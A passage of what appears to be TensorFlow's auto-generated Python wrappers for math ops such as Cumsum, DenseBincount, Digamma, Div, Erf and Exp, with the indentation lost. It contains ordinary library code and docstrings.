except _core._FallbackException:
pass
try:
return cumsum_eager_fallback(
x, axis, exclusive=exclusive, reverse=reverse, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cumsum", x=x, axis=axis, exclusive=exclusive, reverse=reverse,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("exclusive", _op._get_attr_bool("exclusive"), "reverse",
_op._get_attr_bool("reverse"), "T", _op._get_attr_type("T"),
"Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cumsum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cumsum = tf_export("raw_ops.Cumsum")(_ops.to_raw_op(cumsum))
def cumsum_eager_fallback(x, axis, exclusive, reverse, name, ctx):
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [x, axis]
_attrs = ("exclusive", exclusive, "reverse", reverse, "T", _attr_T, "Tidx",
_attr_Tidx)
_result = _execute.execute(b"Cumsum", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cumsum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def cumulative_logsumexp(x, axis, exclusive=False, reverse=False, name=None):
r"""Compute the cumulative product of the tensor `x` along `axis`.
By default, this op performs an inclusive cumulative log-sum-exp,
which means that the first
element of the input is identical to the first element of the output:
```python
tf.math.cumulative_logsumexp([a, b, c]) # => [a, log(exp(a) + exp(b)), log(exp(a) + exp(b) + exp(c))]
```
By setting the `exclusive` kwarg to `True`, an exclusive cumulative log-sum-exp is
performed instead:
```python
tf.cumulative_logsumexp([a, b, c], exclusive=True) # => [-inf, a, log(exp(a) * exp(b))]
```
Note that the neutral element of the log-sum-exp operation is `-inf`,
however, for performance reasons, the minimal value representable by the
floating point type is used instead.
By setting the `reverse` kwarg to `True`, the cumulative log-sum-exp is performed in the
opposite direction.
Args:
x: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`.
A `Tensor`. Must be one of the following types: `float16`, `float32`, `float64`.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A `Tensor` of type `int32` (default: 0). Must be in the range
`[-rank(x), rank(x))`.
exclusive: An optional `bool`. Defaults to `False`.
If `True`, perform exclusive cumulative log-sum-exp.
reverse: An optional `bool`. Defaults to `False`.
A `bool` (default: False).
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "CumulativeLogsumexp", name, x, axis, "exclusive", exclusive,
"reverse", reverse)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cumulative_logsumexp_eager_fallback(
x, axis, exclusive=exclusive, reverse=reverse, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"CumulativeLogsumexp", x=x, axis=axis, exclusive=exclusive,
reverse=reverse, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("exclusive", _op._get_attr_bool("exclusive"), "reverse",
_op._get_attr_bool("reverse"), "T", _op._get_attr_type("T"),
"Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"CumulativeLogsumexp", _inputs_flat, _attrs, _result)
_result, = _result
return _result
CumulativeLogsumexp = tf_export("raw_ops.CumulativeLogsumexp")(_ops.to_raw_op(cumulative_logsumexp))
def cumulative_logsumexp_eager_fallback(x, axis, exclusive, reverse, name, ctx):
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [x, axis]
_attrs = ("exclusive", exclusive, "reverse", reverse, "T", _attr_T, "Tidx",
_attr_Tidx)
_result = _execute.execute(b"CumulativeLogsumexp", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"CumulativeLogsumexp", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def dense_bincount(input, size, weights, binary_output=False, name=None):
r"""Counts the number of occurrences of each value in an integer array.
Outputs a vector with length `size` and the same dtype as `weights`. If
`weights` are empty, then index `i` stores the number of times the value `i` is
counted in `arr`. If `weights` are non-empty, then index `i` stores the sum of
the value in `weights` at each index where the corresponding value in `arr` is
`i`.
Values in `arr` outside of the range [0, size) are ignored.
Args:
input: A `Tensor`. Must be one of the following types: `int32`, `int64`.
1D or 2D int `Tensor`.
size: A `Tensor`. Must have the same type as `input`.
non-negative int scalar `Tensor`.
weights: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
is an int32, int64, float32, or float64 `Tensor` with the same
shape as `arr`, or a length-0 `Tensor`, in which case it acts as all weights
equal to 1.
binary_output: An optional `bool`. Defaults to `False`.
bool; Whether the kernel should count the appearance or number of occurrences.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `weights`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "DenseBincount", name, input, size, weights, "binary_output",
binary_output)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return dense_bincount_eager_fallback(
input, size, weights, binary_output=binary_output, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"DenseBincount", input=input, size=size, weights=weights,
binary_output=binary_output, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tidx", _op._get_attr_type("Tidx"), "T",
_op._get_attr_type("T"), "binary_output",
_op._get_attr_bool("binary_output"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"DenseBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
DenseBincount = tf_export("raw_ops.DenseBincount")(_ops.to_raw_op(dense_bincount))
def dense_bincount_eager_fallback(input, size, weights, binary_output, name, ctx):
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_attr_Tidx, _inputs_Tidx = _execute.args_to_matching_eager([input, size], ctx, [_dtypes.int32, _dtypes.int64, ])
(input, size) = _inputs_Tidx
_attr_T, (weights,) = _execute.args_to_matching_eager([weights], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [input, size, weights]
_attrs = ("Tidx", _attr_Tidx, "T", _attr_T, "binary_output", binary_output)
_result = _execute.execute(b"DenseBincount", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"DenseBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.digamma', v1=['math.digamma', 'digamma'])
@deprecated_endpoints('digamma')
def digamma(x, name=None):
r"""Computes Psi, the derivative of Lgamma (the log of the absolute value of
`Gamma(x)`), element-wise.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Digamma", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return digamma_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
digamma, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Digamma", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
digamma, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Digamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Digamma = tf_export("raw_ops.Digamma")(_ops.to_raw_op(digamma))
def digamma_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Digamma", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Digamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def div(x, y, name=None):
r"""Returns x / y element-wise.
*NOTE*: `Div` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `uint32`, `uint64`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Div", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return div_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Div", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Div", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Div = tf_export("raw_ops.Div")(_ops.to_raw_op(div))
def div_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.uint32, _dtypes.uint64, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Div", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Div", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def div_no_nan(x, y, name=None):
r"""Returns 0 if the denominator is zero.
*NOTE*: `DivNoNan` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "DivNoNan", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return div_no_nan_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"DivNoNan", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"DivNoNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
DivNoNan = tf_export("raw_ops.DivNoNan")(_ops.to_raw_op(div_no_nan))
def div_no_nan_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"DivNoNan", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"DivNoNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def equal(x, y, incompatible_shape_error=True, name=None):
r"""Returns the truth value of (x == y) element-wise.
*NOTE*: `Equal` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
```python
x = tf.constant([2, 4])
y = tf.constant(2)
tf.math.equal(x, y) ==> array([True, False])
x = tf.constant([2, 4])
y = tf.constant([2, 4])
tf.math.equal(x, y) ==> array([True, True])
```
Args:
x: A `Tensor`.
y: A `Tensor`. Must have the same type as `x`.
incompatible_shape_error: An optional `bool`. Defaults to `True`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Equal", name, x, y, "incompatible_shape_error",
incompatible_shape_error)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return equal_eager_fallback(
x, y, incompatible_shape_error=incompatible_shape_error, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if incompatible_shape_error is None:
incompatible_shape_error = True
incompatible_shape_error = _execute.make_bool(incompatible_shape_error, "incompatible_shape_error")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Equal", x=x, y=y, incompatible_shape_error=incompatible_shape_error,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "incompatible_shape_error",
_op._get_attr_bool("incompatible_shape_error"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Equal", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Equal = tf_export("raw_ops.Equal")(_ops.to_raw_op(equal))
def equal_eager_fallback(x, y, incompatible_shape_error, name, ctx):
if incompatible_shape_error is None:
incompatible_shape_error = True
incompatible_shape_error = _execute.make_bool(incompatible_shape_error, "incompatible_shape_error")
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T, "incompatible_shape_error",
incompatible_shape_error)
_result = _execute.execute(b"Equal", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Equal", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.erf', v1=['math.erf', 'erf'])
@deprecated_endpoints('erf')
def erf(x, name=None):
r"""Computes the Gauss error function of `x` element-wise.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Erf", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return erf_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
erf, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Erf", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
erf, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Erf", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Erf = tf_export("raw_ops.Erf")(_ops.to_raw_op(erf))
def erf_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Erf", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Erf", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.erfc', v1=['math.erfc', 'erfc'])
@deprecated_endpoints('erfc')
def erfc(x, name=None):
r"""Computes the complementary error function of `x` element-wise.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Erfc", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return erfc_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
erfc, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Erfc", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
erfc, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Erfc", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Erfc = tf_export("raw_ops.Erfc")(_ops.to_raw_op(erfc))
def erfc_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Erfc", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Erfc", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def erfinv(x, name=None):
r"""TODO: add doc.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Erfinv", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return erfinv_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Erfinv", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Erfinv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Erfinv = tf_export("raw_ops.Erfinv")(_ops.to_raw_op(erfinv))
def erfinv_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Erfinv", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Erfinv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def euclidean_norm(input, axis, keep_dims=False, name=None):
r"""Computes the euclidean norm of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "EuclideanNorm", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return euclidean_norm_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"EuclideanNorm", input=input, reduction_indices=axis,
keep_dims=keep_dims, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"EuclideanNorm", _inputs_flat, _attrs, _result)
_result, = _result
return _result
EuclideanNorm = tf_export("raw_ops.EuclideanNorm")(_ops.to_raw_op(euclidean_norm))
def euclidean_norm_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"EuclideanNorm", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"EuclideanNorm", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def exp(x, name=None):
r"""Computes exponential of x element-wise. \\(y = e^x\\).
This function computes the exponential of every element in the input tensor.
i.e. `exp(x)` or `e^(x)`, where `x` is the input tensor.
`e` denotes Euler's number and is approximately equal to 2.718281.
Output is positive for any real input.
```python
x = tf.constant(2.0)
tf.math.exp(x) ==> 7.389056
x = tf.constant([2.0, 8.0])
tf.math.exp(x) ==> array([7.389056, 2980.958], dtype=float32)
```
For complex numbers, the exponential value is calculated as follows:
```
e^(x+iy) = e^x * e^iy = e^x * (cos y + i sin y)
```
Let's consider complex number 1+1j as an example.
e^1 * (cos 1 + i sin 1) = 2.7182818284590 * (0.54030230586+0.8414709848j)
```python
x = tf.constant(1 + 1j)
tf.math.exp(x) ==> 1.4686939399158851+2.2873552871788423j
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Exp", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return exp_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Exp", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Exp", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Exp = tf_export("raw_ops.Exp")(_ops.to_raw_op(exp))
def exp_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Exp", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Exp", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.expm1', v1=['math.expm1', 'expm1'])
@deprecated_endpoints('expm1')
def expm1(x, name=None):
r"""Computes `exp(x) - 1` element-wise.
i.e. `exp(x) - 1` or `e^(x) - 1`, where `x` is the input tensor.
`e` denotes Euler's number and is approximately equal to 2.718281.
```python
x = tf.constant(2.0)
tf.math.expm1(x) ==> 6.389056
x = tf.constant([2.0, 8.0])
tf.math.expm1(x) ==> array([6.389056, 2979.958], dtype=float32)
x = tf.constant(1 + 1j)
tf.math.expm1(x) ==> (0.46869393991588515+2.2873552871788423j)
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Expm1", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return expm1_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
expm1, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Expm1", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
expm1, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Expm1", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Expm1 = tf_export("raw_ops.Expm1")(_ops.to_raw_op(expm1))
def expm1_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
